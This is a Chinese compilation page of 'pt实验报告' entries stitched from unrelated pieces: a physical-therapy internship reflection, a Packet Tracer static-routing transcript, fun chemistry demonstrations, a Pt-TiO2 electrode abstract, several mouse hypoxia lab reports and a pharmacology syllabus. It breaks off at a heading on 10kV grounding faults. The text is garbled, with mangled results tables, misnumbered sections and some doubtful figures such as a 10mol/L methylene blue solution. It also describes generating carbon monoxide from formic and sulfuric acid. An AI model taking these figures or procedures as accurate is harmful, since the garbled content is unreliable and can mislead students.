pt实验报告

pt实验报告（精选9篇）

1.pt实验报告 篇一

PT实习小结

今天，我和我的实习小伙伴们来到了昆山康复医院。第一天，老师看让我们先在PT大厅看两眼，便可以回去收拾宿舍，大概了解到：PT，也就是运动疗法，是帮病人搬胳膊、搬大腿的，后来两个月以来慢慢地发现，并非这么简单！

正好实习的前两个月便是安排我待在PT大厅轮转，前几天只是在带教老师旁边看看，有什么不懂的去问。刚开始，我真的是一窍不通，老师到底在做些什么，为什么要那样做，都不知道，这才明白，我这两年都白学了，想到课也少上，上课也没开多少小差，就是什么也没进大脑。以前只是为了应付考试罢，如今，真的到了临床，这个满了因脑血管病变而导致偏瘫以及少部分因脊髓损伤而导致截瘫的患者的大厅，我却什么也没法从脑子里找出一点与他们有关的东西。现在的想法就是：我根本不是学康复的，更没学过运动疗法。

第一天，老师就提问了几个关于临床上评定偏瘫患者的内容，其中包括上田敏评定法、肌力评定、感觉评定、病理反射（巴宾斯基征、霍夫曼）和肌张力评定。因为上田敏我们在学校时就没深入接触过，老师就过掉了，但其余的几个都是重点，而我却一问三不知，被老师批评：你的基础太差，我真不知道你们在学校都干什么了。以后的几天，几乎每天都被提问，每次都是不确定，似懂非懂，老师大概也都摸清了学生我到底有几斤几两。就这样过去了几天，我的自信心也被打磨掉了，开始迷茫了，我不知道该怎么去看书，该看什么书，该问老师什么问题。于是，老师急了，说：“我发现你从来都不问问题，只靠我问你问题是没有用的，你要在我做病人的时候问，这样我才能针对性讲给你听。我把答案直接告诉你，马上就又忘了。”是的，没有经过大脑斟酌过的答案好像忘得特别快！就这样，以后的几天，我开始为了问问题而问问题，然而又担心这个问题会不会太低级，显得我好差劲，该不该问，问什么，又纠结起来。所以，连续几天老师都不提问，就等我我去问问题，可我还是没行动，只会在旁边看，还没法专注，看得也不是那么仔细，因为懂得不多，就失去兴趣，没法专注，老师又急了，说：“你是不是什么都懂，所以没问题？”我沉默。后来想想，我的实习是不是太被动了，我开始去找一些问题，也不管问题是不是太低级，也不管老师会不会觉得我太差劲。我开始认识到，可能是我态度有问题，学习是要主动的！

过了几天，我迎来了我第一个病人，好害怕，好担心，没信心！老师让我评定，安排治疗计划，第二天早上直接上手。我开始了我的熬夜，看着自己的评定，写好了治疗计划，做好了充足的准备。第二天，还是没自信，胆怯。于是，老师帮我在旁边看着，有什么不对的提示我：有肩关节脱位的，先给病人手法复位，在开始以后的操作治疗；被动活动活动肩关节不能超过90度；Bobath握手贯穿整个治疗的过程。这些都是要谨记的，很重要！是老师让我明白了这些。在整个治疗过程中要注意切忌过度暴力牵拉，注重人文关怀。但这位老太太刚开始抗拒治疗，治疗没结束就想走，遇到这种情况怎么办？我起初不以为然，后来发现，病人自己的主观意念很重要，于是，我每天又开始穿插心理治疗，终于见到了希望，好开心奥！

后来，我发现老太太想走路的欲望很强烈，于是，我开始思考，如果能够走路，首先要做哪些准备？我想，应该是站立平衡吧！那站立平衡又该具备哪些条件呢，这让我想到老师前几天问的问题，平衡的条件：第一，感觉的输入（躯体感觉系统、视觉系统、前庭系统）；第二，中枢整合；第三，运动控制（踝调节、髋调节、跨步调节）。所以，我又开始又新的目标了。康复计划要遵循患者主观意愿，问患者迫切想改善的方面，我们和病人再做好计划，努力靠近。

2.静态路由配置（PT模拟器） 篇二

Press RETURN to get started!

Router>en

Router>enable 《 ===================================进入特权模式

Router#conf

Router#configure

Router#configure terminal 《================================进入全局模式

Enter configuration commands, one per line. End with CNTL/Z.

Router(config)#h

Router(config)#hostname R1 《=============================配置主机名

R1(config)#ena

R1(config)#enable p

R1(config)#enable password 123456 《===========================配置特权密码

R1(config)#in f

R1(config)#in fastEthernet 0/0 《=============================进入F0/0端口

R1(config-if)#ip add

R1(config-if)#ip address 192.168.1.1 255.255.255.0 《==============配置该端口IP地址

R1(config-if)#no shu

R1(config-if)#no shutdown 《=============================开启该端口

%LINK-5-CHANGED: Interface FastEthernet0/0, changed state to up

%LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up

R1(config-if)#exit 《=============================返回上层模式

R1(config)#in s

R1(config)#in serial 0/0/0

R1(config-if)#ip add

R1(config-if)#ip address 192.168.2.1 255.255.255.0

R1(config-if)#clock rate 64000 《=====================配置DCE串口时钟频率

R1(config-if)#no shu

R1(config-if)#no shutdown

%LINK-5-CHANGED: Interface Serial0/0/0, changed state to down

R1(config-if)#

%LINK-5-CHANGED: Interface Serial0/0/0, changed state to up

%LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/0/0, changed state to up

R1(config-if)#exit

R1(config)#ip r

R1(config)#ip route 192.168.3.0 255.255.255.0 192.168.2.2 《======配置静态路由

3.趣味实验实验报告 篇三

实验员：张燕年级、班级：09级化学三班学号：40907147 联系方式：***

一、实验目的：

激发学生学习化学的兴趣，通过化学实验的趣味化活动，使学生的思维更加活跃，手脑并用的能力更强，创新意识和创造精神得到充分发挥。

二、实验内容：

（一）蓝色振荡实验：

1.实验原理：

亚甲基蓝的水溶液呈蓝色，在碱性条件下，葡萄糖可以将它还原为无色，搅拌条件下空气会把无色产物亚甲基白氧化为蓝色，蓝色又被还原为无色，如此反应，实验能多次重复。

2.实验仪器和药品：

碘量瓶（用于微量元素的测定）、小烧杯、NaOH固体、葡萄糖、亚甲基蓝溶液（10mol/L）。

3.实验步骤：

（1）称取5.0g氢氧化钠（为整个实验过程提供一个碱性环境）于小烧杯中，加入约30mL水充分溶解。再将所得溶液转移至碘量瓶中，加水至约150mL；

（2）称取7g葡萄糖加入到（1）所得的溶液中，充分搅拌，使其完全溶解。再向碘量瓶中滴加1mL（约20滴）亚甲基蓝溶液，缓慢摇匀，之后静置大约半分钟，会发现蓝色的溶液慢慢变为无色透明的溶液，再继续振荡碘量瓶，会发现溶液又变回蓝色，再继续静置半分钟左右，溶液又变为无色。此现象可重复若干次。

（二）化学冰袋：

1.实验原理：

铵盐溶解会吸热，可以起到降温的效果。

2.实验仪器和药品：

密封袋、(NH4)2SO4、NH4NO3、Na2SO410H2O和NaHSO4。

3.实验步骤：

（1）分别称取4g硫酸铵、5g硝酸铵、9.6g十水硫酸钠和4g硫酸氢钠；

（2）将所称取的药品按顺序加入到密封袋中，添加顺序如下：十水硫酸钠、硫酸氢钠、硫酸铵和硝酸铵。将所加的药品用手压碎，会发现密封袋温度很低，此时我们的冰袋就做好了。

（三）固态汽水：

1.实验原理： 3

碳酸氢钠和柠檬酸钠反应可以释放出二氧化碳，能带走部分热量，这就是特别爽口的碳酸饮料。

2.实验仪器和药品：

烧杯、玻璃棒、研钵，柠檬酸、柠檬黄、蔗糖、明胶、碳酸氢钠。

3.实验步骤：

（1）称取0.1g明胶于小烧杯中，加入约10mL水使其吸水膨胀，如溶解过慢可用酒精灯适当微热；

（2）称取2.5g碳酸氢钠与小烧杯中，再取1mL（1）所得的溶液加入其中，最后用电吹风将小烧杯中的液体吹干；

（3）取4g蔗糖、4.5g柠檬酸和微量的柠檬黄于研钵中，研细成粉末状之后再加入到（2）所得的固体药品中，这时我们就制成了固体汽水；

（4）用100mL来冲调固体汽水，就制成了我们日常饮用的爽口的饮料。

三、实验注意事项

1、明胶微热溶解时不可温度太高，烧杯距离火焰需保持一定的距离，原因是明胶是一种蛋白质，高温容易变性。

2、称量NaOH时需用烧杯，纸张要现称现用，这样也会产生潮解。当然由于此实验主要是要一个碱性环境，所以此影响在此实验中可以忽略。

3、蓝色振荡实验过程中包含的是一种热力学平衡，在2—3h后这个实验现象就完全消失，此时已达到了极限状态。

4、冰袋制作不能使用无水碳酸钠(纯减)粉末，必须是含结晶水的晶体碳酸钠或成块状纯碱。可以将无水碳酸钠粉末溶于水，然后加热浓缩至晶体析出，自制晶体碳酸钠。

四、实验反思1、1.化学是一门实验科学，化学实验能够引起学生的认知兴趣，如果把实验做趣味化处理，则更能引起学生的兴趣，产生强烈的学习动机。我们本次实验包括观察性趣味实验和操作性趣味实验。

4.pt实验报告 篇四

Pt-TiO2纳米管电极的制备及电催化性能

采用电化学阳极氧化-阴极还原法制备Pt-TiO2纳米管电极.扫描电镜(SEM)结果显示TiO2纳米管平均管径100nm,管长470nm,管壁厚20nm,且其比表面积大,同时纳米Pt微粒分散在TiO2纳米管上,且粒径细小,Pt微粒充分裸露,使得Pt-TiO2纳米管电极活性点多,电催化性能高.对甲醇的电催化性能测试表明:同纯Pt电极和Pt-TiO2电极(Pt微粒固定在TiO2致密膜上)相比,Pt-TiO2纳米管电极对甲醇具有更高的电催化活性,其氧化峰电流密度是在纯Pt片电极上的20倍以上.

作 者：雷斌 薛建军 秦亮 LEI Bin XUE Jian-jun QIN Liang 作者单位：南京航空航天大学,材料科学与技术学院,江苏,南京,210016刊 名：材料科学与工程学报 ISTIC PKU英文刊名：JOURNAL OF MATERIALS SCIENCE AND ENGINEERING年，卷(期)：25(6)分类号：O646关键词：纳米管 电化学阳极氧化 电催化活性 氧化峰电流 纳米颗粒 nanotube electrochemical anodic oxidation electrocatalytic activity oxidation current density nanoparticle

5.小鼠缺氧实验实验报告 篇五

缺氧动物模型复制及中枢神经系统功能抑制和低温对缺氧的影响

【摘要】目的：本实验学习复制乏氧性缺氧和血液性缺氧的动物模型方法，观察缺氧过程中呼吸的反应及血液色泽和全身一般情况的变化，并了解温度和中枢神经系统机能状态对缺氧耐受的影响以及对照实验和控制实验条件重要性。方法：通过复制缺氧动物模型，观察不同类型缺氧过程中呼吸、黏膜和血液色泽的变化。通过测定耗氧量和小鼠的存活时间来观察中枢神经系统机能抑制和低温对缺氧的影响。结果：中枢神经系统功能抑制和低温对动物耐受缺氧的影响与对照组相比，存活时间和总耗氧率有显著性差异；复制不同原因造成的不同缺氧类型小鼠都表现出了不同的呼吸频率和存活时间的变化。结论：给小鼠注射氯丙嗪、冰浴降温可显著降低总耗氧率，延长其存活时间（p<0.01）。co 中毒、亚硝酸盐可显著缩短小鼠存活时间，降低呼吸频率。美兰可以缓解亚硝酸盐对小鼠的作用，已定程度延长小鼠存活时间，延缓呼吸频率的下降。

【关键词】缺氧 氯丙嗪 总耗氧率 co 亚硝酸盐 美兰 存活时间

当供应组织的氧不足，或组织利用氧障碍时，机体的机能和代谢可发生异常变化，这种病理过程称为缺氧。根据缺氧的原因不同可将缺氧分为低张性缺氧、血液性缺氧、循环性缺氧和组织中毒性缺氧四种类型，不同类型的缺氧，机体的代偿适应性反应和症状表现有所不同。

1.材料和方法

1.1 实验动物：小白鼠（雌性）。

1.2 药品：氯丙嗪(chlorpromazine)、钠石灰（soda lime)，亚硝酸钠（sodium nitrite)、亚甲基蓝(美蓝）（methylene blue，mb）、0.9％nacl(physiological saline solution)、co(carbon monoxide)。

1.3 器材：100、500ml 广口瓶和测耗氧装置。

1.4 方法

1.4.1 中枢神经系统功能抑制和低温对缺氧的影响

取 2 只性别相同体重相近的小鼠，准确称取体重，并随机分为生理盐水组和氯丙嗪组。氯丙嗪组按 0.1ml/10g 体重腹腔注射 0.25％氯丙嗪，随即安放在冰浴的纱布上

10~15min，使呼吸频率降至 70~80 次/min；生理盐水组按0.1ml/10g 体重腹腔注射生理盐水，室温放置 10－15min，作为对照。/ 13 文档可自由编辑 之后将 2 只小鼠分别放入 100ml 的广口瓶内，连接好测耗氧装置。如右图。

1.4.2 不同原因造成的缺氧

取 2 只性别相同体重相近的小鼠随机分为乏氧性缺氧组和一氧化碳中毒组。乏氧性缺氧组小鼠放入含有 5g 钠石灰的 100ml 密闭瓶中；一氧化碳中毒组小鼠放入 500ml 密闭瓶，注入 10ml co 气体。

另取 2 只性别相同体重相近的小鼠随机分为亚硝酸纳组和亚硝酸纳治疗组。亚硝酸纳组小鼠腹腔注射 50g/l 亚硝酸纳 0.2ml，并随即腹腔注射生理盐水 0.2ml；亚硝酸纳治疗组小鼠腹腔注射 50g/l 亚硝酸纳0.2ml 后即刻腹腔注射 10g/l 亚甲基蓝 0.2ml。

2.观察项目

2.1.中枢神经系统功能抑制和低温对缺氧的影响

记录下小鼠的体重 w（g）。从密闭测耗氧装置开始记时到小鼠死亡，分别观察氯丙嗪组和生理盐水组小鼠的存活时间 t（min）、总耗氧量 a（ml）。按以下公式计算出总耗氧率 r[ml/（g·min）]：

r[ml/（g·min）]= a（ml）÷w（g）÷t（min）

2.2.不同原因造成的缺氧

乏氧性缺氧组和一氧化碳中毒组：处理前分别测出两鼠的正常呼吸频率（次/min）。待塞紧瓶塞开始记时后，每隔 5min 测一次呼吸频率（次/min），并观察两鼠的行为以及耳、尾、口唇等的颜色变化，直至小鼠死亡。记录死亡时间。

亚硝酸纳组和亚硝酸纳治疗组：处理前分别测出两鼠的正常呼吸频率（次/min）。待注射药品后，每隔 5min 测一次呼吸频率（次/min），并观察两鼠的行为以及耳、尾、口唇等的颜色变化，直至小鼠死亡。记录死亡时间。

将 4 只鼠分别解剖取出小块肝脏组织置于滤纸上观察颜色的不同。

3.实验结果

4.1 中枢神经系统功能抑制和低温对缺氧的影响

氯丙嗪组小鼠体重与生理盐水组小鼠体重无显著性差异（p>0.05）；氯丙嗪组小鼠的耗氧量为 12.7±5.02 ml，生理盐水组小鼠的耗氧量为 16.0±3.01 ml，两者无明显差异（p>0.05）；氯丙嗪组小鼠耐缺氧存活时间为 44.7±17.21 min，生理盐水组小鼠耐缺氧时间为 21.0±3.61，两者相比有高度显著性差异/ 13 文档可自由编辑（p<0.01）；氯丙嗪组小鼠的耗氧率为 0.013±0.005(ml/g/min)，生理盐水组小鼠的耗氧率 0.03±0.002(ml/g/min)，两者相比有高度显著性差异（p<0.01）。见表 1。

表 1.氯丙嗪、冰浴对小鼠缺氧耐受性的影响实验结果统计表

小鼠体重（g）

样本 1 2 3 4 5 6 7 8 9

对照 23 19

实验 22 25 22 25 24 22 23 22 22 23.0±1.32&

总耗氧量（ml）

对照

19.5

14.0

16.0

14.0

17.4

17.0

11.5

21.0

13.5

16.0±

3.01

实验

存活时间（min）

总耗氧率（（ml/g/min)

对照

实验 47

35 23 24 59 31 60 71 44.7±17.21*

对照

0.034

0.035

0.033 0.035 0.033 0.034 0.031 0.037 0.029 0.03±

0.002

实验 0.01 0.011 0.013 0.014 0.016 0.015 0.024 0.005 0.012 0.013±0.005#

10.514.310.0

8.0

9.5

19.9

17.0

6.0

19.0

12.7±5.02$

2621.0±

3.6125 25 23 25 22 22 22.9±

x?s

1.96

注：*p<0.01 vs 对照组 ；p<0.01 vs 对照组；&p>0.05 vs 对照组,$p>0.05 vs 对照组 3.2 不同原因造成的缺氧

由表 2 可知，亚硝酸钠中毒小鼠的存活时间最短，其次为 co中毒组。存活时间最长的是亚硝酸钠＋美兰组，可见美兰具有抗亚硝酸钠中毒的作用。

表 2.乏氧、co 中毒、亚硝酸钠中毒小鼠的呼吸频率(次/10 秒）

缺氧类型 乏氧 co 中毒 亚硝酸钠 亚硝酸钠＋

美兰

0min 29.7±4.90 29.7±5.90 29.7±3.54 29.7± 5.68

5min 31.2±6.96 24.7±8.72 26.1±7.13 25.9± 4.99/ 13 文档可自由编辑 10min 30.4±7.52 26.8±9.31

28.7± 8.38

15min 25.0±8.97

28.5± 6.02

20min

30.1±6.83

25min

29.5±6.07

30min

28.9±6.24

5.3 亚硝酸钠中毒与亚硝酸钠+美兰的两组小鼠的存活时间有显著性差异，美兰组存活时间显著延长(p<0.01)。见表 3。

表 3.亚硝酸盐中毒及其美兰的治疗效果

缺氧类型

亚硝酸盐中毒性缺氧 亚硝酸盐中毒性+美兰 存活时间 9.56±1.59 48.67±14.23*

注：p<0.01

3.4 分别观察乏氧性缺氧组、一氧化碳中毒组、亚硝酸纳组和亚硝酸纳治疗组的小鼠肝脏组织颜色，如表 3。

表 4.乏氧、co 中毒、亚硝酸钠中毒的小鼠存活时间和肝血、耳尾唇颜色比较 类别 乏氧

体重(g)19

存活时间(min)

肝血颜色 暗红色

耳尾唇颜色 青紫色（紫绀）

co

nano2 nano2+mb18 18.512 30

樱桃红色 深咖啡色 浅咖啡色

樱桃红色 青石板色 青石板色，稍浅

6.讨论

6.1.实验结果显示氯丙嗪组的存活时间显著长于生理盐水组，耗氧率也显著低于生理盐水组。氯丙嗪为吩噻嗪类抗精神病药物，主要阻断脑内多巴胺受体和 α 肾上腺素受体和 m 胆碱受体，具有神经安定作用，它对中枢神经系统有较强的抑制作用。小鼠注射氯丙嗪后，置于低温使其进入假冬眠状态。小鼠外界活动停止，新陈代谢率降至最低，因此能量利用减/ 13 文档可自由编辑 少，单位时间的耗氧量减少，即耗氧率减小。在氧总量相等的情况下，存活时间就比生理盐水组长。

6.2.乏氧性缺氧，主要表现为动脉血氧分压降低，氧含量减少，组织供养不足。正常毛细血管的血液中氧离血红蛋白浓度约为 26g/l。乏氧性缺氧时，动静脉血中的氧离血红蛋白浓度增高。当毛细血管血液中氧离血红蛋白浓度达到或超过 50 g/l时，可使皮肤和粘膜呈青紫色。

co 与 hb 的亲和力比 o2 大 210 倍，hb 与 co 结合形成碳氢 hb，从而失去运氧功能。co 同时还能抑制红细胞内糖酵解，使其 2,3-dpg 生成减少，氧离曲线左移，妨碍 hbo2 中的氧解离，从而造成组织严重缺氧。此时外呼吸功能正常，故动脉血氧分压及血氧饱和度正常，但 hb数量减少或性质改变，使血氧容量降低。组织中 hbco 增多，故皮肤、粘膜呈樱桃红色。

亚硝酸盐可使 hb 中二价铁氧化成三价铁，形成高铁 hb（hbfe3+oh），三价铁因与羟基牢固结合而丧失携氧能力，加上 hb 四个二价铁中有一部分氧化为三价铁后使剩余的 fe2+与氧亲和力增高，导致氧离曲线左移，使组织缺氧。高铁 hb 呈咖啡色或青石板色，因而使皮肤和粘膜呈现相同颜色[2]。低浓度美兰为还原剂，抑制了氧化剂（亚硝酸钠）的中毒反应，中毒后即刻肌注可有效使小鼠存活时间延长 2 倍以上。本实验结果也显示，亚硝酸钠+美兰组小鼠的存活时间明显长于亚硝酸钠中毒小鼠的存活时间（表 3），说明美兰具有较好的拮抗作用。

6.3.钠石灰的作用：钠石灰在两个实验中的用途也有很大区别：实验一中缺氧瓶内钠石灰吸收小鼠呼吸产生的 co2 造成负压，利于正确地测出耗氧量；实验二中加入钠石灰是为了排除高碳酸血症对缺氧实验的影响。

参考资料：

1.陆源,夏强.生理科学实验教程.杭州：浙江大学出版社,2004：240.

2.陈季强.基础医学各论（上册）.北京：科学出版社，2004：492，495－496.篇三：小鼠缺氧模型及其分析

缺氧的类型及影响缺氧耐受性的因素

高伟飞

（浙江中医药大学滨江学院级

临床专业临滨 1 班 4 组

20102090114）/ 13 文档可自由编辑 一、实验目的：

1.观察原因和条件在疾病发生发展中的作用

2.复制几种类型缺氧的模型，观察血液颜色的特点，分析其机制

根据大纲要求：

掌握概念：缺氧、低张性缺氧、血液性缺氧、循环性缺氧和组织性缺氧，紫绀、肠源性紫绀。

熟悉并理解原因和条件在疾病发生发展中的作用。

熟悉反映血氧情况的一些指标(氧分压、氧含量、氧容量、氧饱和度，动静脉血氧含量差)。

掌握各型缺氧发生的原因及主要发病机制，掌握各型缺氧的特征（血氧变化的特点和皮肤黏膜颜色变化）。

二、实验原理：

当组织供应组织的氧不足，或组织利用氧障碍时，机体的机能和代谢可发生异常变化，这种病理过程称为缺氧。不同类型的缺氧，其机体的代偿适应性反应和症状也不同。根据缺氧原因不同可将缺氧分为乏氧性缺氧、血液性缺氧、循环性缺氧和组织中毒性缺氧四种类型。

影响机体对缺氧耐受性的因素很多，如年龄、机体的代谢、功能状况以及锻炼适应等。本实验才缺氧的不同环节入手观察呼吸变化及皮肤黏膜的颜色改变。实验通过动物的不同代谢状况、中枢神经系统功能和动物所处环境温度，观察动物的缺氧耐受性。

三、实验对象：小鼠

四、实验材料：电子秤、注射器、钠石灰、广口瓶、测耗氧量装置、剪刀、镊子、滤纸；生理盐水、美兰亚硝酸钠、氯丙嗪、冰块、量筒等

五、实验方法：

1、

取 2 只小鼠，注射及处理：号：亚硝酸钠及美兰 0.2ml，左下腹注射号：亚硝酸钠及生理盐水各 0.2ml，左下腹注射

注射完，观察，2 号小鼠立即死亡，1 号小鼠仍存活；然后处死解剖，剪下一片肝脏组

织放于滤纸上，观察肝的颜色。

2、取 2 只小鼠称重，编号 3、4

注射及处理：号：氯丙嗪

0.2ml，左下腹注射号：生理盐水 0.2ml 左下腹注射/ 13 文档可自由编辑 将 3、4 号小鼠分别分别放入钠石灰的广口瓶，塞上塞子，记录下量筒的液面，连通耗氧装置，开始计时，直至小鼠死亡，记录下时间和量筒下降的液面刻度

计算两只小鼠的耗氧量

小鼠耗氧率 r（ml/min/g)=a/（w*t.）

六、实验结果：

1、几种类型的缺氧

序号

1.注射及处理 nano2+美兰

0.2ml

2.nano2+生理盐

水 0.2ml

2、不同条件下小鼠缺氧耐受性

序体重注射及处理 存活时

间

氯丙嗪 0.2ml

（冰浴）20.6 生理盐水（常

温）分 18 0.032 27 分 总耗氧量(ml)8 耗氧率(ml/min/g)0.016 血液性缺氧 青石板色 缺氧类型 血液性缺氧 肝脏颜色 暗红色 号（g）18.8

七、实验分析：

1、血液性缺氧：由于血红蛋白的质或量的改变引起的缺氧。

亚硝酸盐可使血红素中二价铁氧化成三价铁，形成高铁血红蛋白，导致高铁血红蛋白血症。美兰为还原剂，可抑制氧化剂的中毒反应。因此 1 号小鼠存活，2 号小鼠死亡。

2、不同条件下小鼠缺氧耐受性

氯丙嗪是中枢多巴胺受体的阻断剂，具有镇静、抗精神病、镇吐、降低体温及基础代谢、α-肾上腺素能受体及 m-胆碱能受体阻断、抗组织胺、影响内分泌等作用，再加上冰浴，制造低温环境，使得 3 号小鼠的基础代谢率将为最低，可延长其死亡时间。

八、实验结论：

1、缺氧是这 2 小鼠死亡的共同原因，不同的药物是小鼠死亡的条件，氯丙嗪加上低温可延长小鼠的死亡时间。/ 13 文档可自由编辑 2、高铁蛋白血症（亚硝酸盐中毒）属于血液性缺氧，原因：二价铁离子被氧化为三价铁离子，肝脏呈青石板色。篇四：抗缺氧实验

《中药药理学》

实验教学大纲

（供四年制中药学、五年制中医学类本科学生使用）

ⅰ

前言

本大纲适用于四年制中药学、五年制中医学类本科学生使用。编写本大纲的目的是要求学生在学习中药药理学基础课的过程中，通过实验课的学习使学生掌握必要的中药药理实验原理、方法和技能，能正确、合理地使用仪器，为学习中医学基础课、中药学专业课打下牢固的基础；培养学生严肃认真的工作作风、实事求是的科学态度和独立分析问题、解决问题的能力；培养学生观察和分析实验现象的能力，巩固和加深对中药药理现象和规律的理解。现将大纲使用中有关问题说明如下：

一 为了使教师和学生更好地掌握教材，大纲每一章节均由教学目的、教学要求和教学内容三部分组成。教学目的注明教学目标，教学要求分掌握、熟悉和了解三个级别，教学内容与教学要求级别对应，并统一标示（核心内容即知识点以下划实线，重点内容以下划虚线，一边内容不标示）便于学生重点学习。

二 教师在保证大纲核心内容的前提下，可根据不同教学手段，讲授重点内容和介绍一般内容。

三 总教学参考学时为 12 学时。

四 使用教材：《中药药理学实验指导》，由中药药剂教研室自编。

ⅱ

正文

实验一

柴胡对发热家兔的解热作用

一 教学目的观察柴胡对发热家兔及正常兔体温的影响,了解柴胡解热作用的特点

二 教学要求

（一）掌握发热动物模型的制作方法。

（四）掌握肛温计测定家兔体温的方法。

（五）掌握动物模型分组方法。

（六）熟悉实验结果的统计处理方法。

（七）了解实验数据座标图示法。/ 13 文档可自由编辑 三 教学内容

（一）动物选择原则。

（二）测量正常体温值。

（三）分组。

（四）家兔发热模型的制作。

（五）给药。

（六）测量不同时段的体温值。

（七）实验数据的处理与图示法。

（八）实验报告的书写要求。

实验二

生大黄、制大黄以及大黄、芒硝配伍对小白鼠小肠运动的影响(炭末法)

一 教学目的了解生大黄、制大黄对肠蠕动的影响以及大黄、芒硝配伍的药理意义

二 教学要求

(一)掌握泻下药推进小肠运动的实验方法。

(二)熟悉炭末法。

(三)掌握炭末推进率测量与计算方法。

(四)了解小白鼠幽门与回盲部解剖部位。

三 教学内容

（一）

动物选择原则。

（二）

称重,标记。

（三）分组。

（四）灌胃给药。

（五）处死动物,解剖。

（六）测量尺寸。

（七）计算,实验数据处理。

（八）实验报告的书写要求。

实验三 延胡索及金铃子散镇痛作用

一 教学目的了解用热板法和扭体法筛选镇痛药的实验方法;观察延胡索及金铃子散的镇痛作用。

二 教学要求

（一）掌握热板法与扭体法。

（二）掌握痛阈值的测定方法。/ 13 文档可自由编辑（三）掌握合格小鼠筛选方法。

（四）熟悉实验结果的统计处理方法。

（五）了解实验数据座标图示法。

（六）掌握判定扭体反应的方法。

三 教学内容

（一）动物选择原则。

（二）测量正常痛阈值。

（三）筛选,分组。

（四）给药。

（五）测量不同时段的痛阈值。

（六）实验数据的处理与图示法。

（七）实验报告的书写要求。

实验四 人参抗应激作用

一 教学目的学习小白鼠游泳和耐常压缺氧的实验方法,研究人参抗应激作用。

二 教学要求

（一）掌握小白鼠游泳实验方法。

（二）掌握小白鼠耐常压缺氧的实验方法。

（三）熟悉实验结果的统计处理方法。

三 教学内容

（一）动物选择原则。

（二）测量水温。

（三）筛选,分组。

（四）给药,记时。

（五）测量小鼠游泳时间和耐缺氧时间。

（六）实验数据的处理。

（七）实验报告的书写要求。

ⅲ

教学组织与考核方法

一 实施机构：由中药药剂教研室执行。

二 组织内容：教案讲义审核、集体教学备课、教学方法研究、教学手段应用。

三 教学方法：

（一）实验教学：采用启发式、讨论式、交互式课堂教学方式，辅助现代教育技术和传统教学手段。重点内容以介绍为主，一般内容以自学为主。/ 13 文档可自由编辑（二）教学点：在中药药剂实验室教学，承担教师由中药药剂教研室委派。

（三）辅导形式：课堂答疑、讨论、复习等结合。

四 考核办法：每次实验后批改实验报告，学生的实验操作及报告成绩占课程总评成绩的 20%；实验要点考核占课程期末考试卷面成绩的10%左右。

ⅳ

教学时数分配表

实验内容

教学时数

实验类型

实验一

柴胡对发热家兔的解热作用

验证型 实验二

大黄对小白鼠小肠运动的影响

验证型 实验三 元胡及金铃子散对小白鼠的镇痛作用

验证型 实验四

人参抗应激作用

验证型

合计

篇五：小白鼠的缺氧实验

缺氧对小白鼠体征的影响

（潍坊医学院 2009 级临床 26 班 山东潍坊 261053）

[摘要]目的：观察缺氧对小白鼠体征的影响。

方法：取五只小白鼠，通过制作小白鼠的乏氧性缺氧、一氧化碳中毒性缺氧、亚硝酸钠中毒性缺氧三种模型并与正常状态的小白鼠作对比，观察小白鼠的行为及皮肤、黏膜、肝脏的变化。

结果：小白鼠的乏氧性缺氧模型肝脏为青紫色，一氧化碳中毒性缺氧模型为樱桃红色，亚硝酸钠中毒性缺氧模型肝脏青石板颜色，正常小白鼠肝脏为红色。

结论：不同的缺氧因素对小白鼠肝脏颜色有不同影响。

[关键词]乏氧性缺氧，一氧化碳中毒性缺氧，亚硝酸钠中毒性缺氧，青石板颜色

前言

缺氧是由于机体供氧不足或组织利用氧障碍引起的机体代谢、功能和形态结构改变的病理过程[1]。理论上由于不同机制的缺氧通过对血红蛋白的影响改变了血红蛋白的颜色从而我们可以复制相应模型以观察其血液的变化。至于类似的实验，前人已经将其机制研究清楚了，做本次实验只是加以验证，观察是否与理论相符合，有时也许会有新的发现，但主要是为以后的临床学习打下基础。

材料与方法/ 13 文档可自由编辑 1.实验材料

器材：小白鼠缺氧瓶、co 发生装置、1ml 注射器、酒精灯、剪刀、镊子。

药品：钠石灰、甲酸、浓硫酸、5%亚硝酸钠、1%亚硝酸钠、1%美兰、生理盐水。

动物：小白鼠

2.缺氧模型的制备

2．1 乏氧性缺氧模型的制备

(1)取钠石灰约 5g 及小白鼠一只放入缺氧瓶内。观察动物的一般情况，呼吸频率（次/10s），深度，皮肤和口唇粘膜颜色，然后紧塞瓶塞，记录时间，以后每 3min 重复观察上述指标 1 次（如有其他变化则随时记录）直到动物死亡为止。

(2)动物尸体留待 2.2、2.3、2.4 实验做完后，再依次打开其腹腔，比较血液或肝脏颜色。

3.2 一氧化碳中毒性缺氧模型的制备

(1)装好 co 发生装置。

(2)将小白鼠放入广口瓶中，观察其正常表现，然后与 co 发生装置连接。

(3)取甲酸 3ml 放入试管中，加入浓硫酸 2ml，塞紧。（可用酒精灯加热，加速 co 产生，但不可过热以至液体沸腾，因 co 产生过多过快动物迅速死亡，血液颜色改变不明显。）

(4)观察指标与方法同上。

4.3 亚硝酸钠中毒性缺氧模型的制备

(1)取体重相近的两只小鼠，观察正常表现后，向腹腔注入 5%亚硝酸钠 0.3ml，其中一只注入亚硝酸钠后，立即再向腹腔注入 1%美兰溶液 0.3ml，另一只再注入生理盐水 0.3ml。

(2)观察指标与方法同 2.1，比较两鼠表现及死亡时间有无差异。

5.4 解剖正常小白鼠

取一只未做处理正常的小鼠，观察体表特征，后处死，观察其肝脏颜色。

实验结果

类型

呼吸频率、幅度 肝脏颜色

皮肤粘膜颜色

先加深加快

低张性缺氧

后变浅变慢 暗红色

青紫色/ 13 文档可自由编辑 一氧化碳中毒 无改变 樱桃红色

樱桃红色

亚硝酸钠中毒 无改变 青石板颜色 青石板颜色

正常小白鼠 无改变 红色

红色

讨论

1.乏氧性缺氧：轻度缺氧使呼吸中枢兴奋，呼吸先加深加快，重度缺氧抑制呼吸中枢使呼吸变浅变慢，皮肤黏膜呈暗红色则是由于 hb 结合的氧气过少引起，钠石灰用于吸于甁中 co2 以排除 co2 的干扰,po2 降低里，也因肺通气量的增加，呼出较多的co2，使体内 pco2 和 h+浓度降低，从而减弱低氧的刺激作用[2]。

2.co 中毒：呼吸无改变，主要与 pao2 正常有关，皮肤黏膜、肝脏呈樱桃红色。是由于 cohb 引起，co 中毒性缺氧属等张性缺氧，呼吸系统的代偿不明显，故观察到小白鼠的呼吸逐渐减弱直至停止死亡因此加热时不能过猛，以免 co 产

生过多、过快，使小白鼠迅速死亡，来不及观察。

6.pt实验报告 篇六

第一节 10kv系统发生单相接地的判断与处理

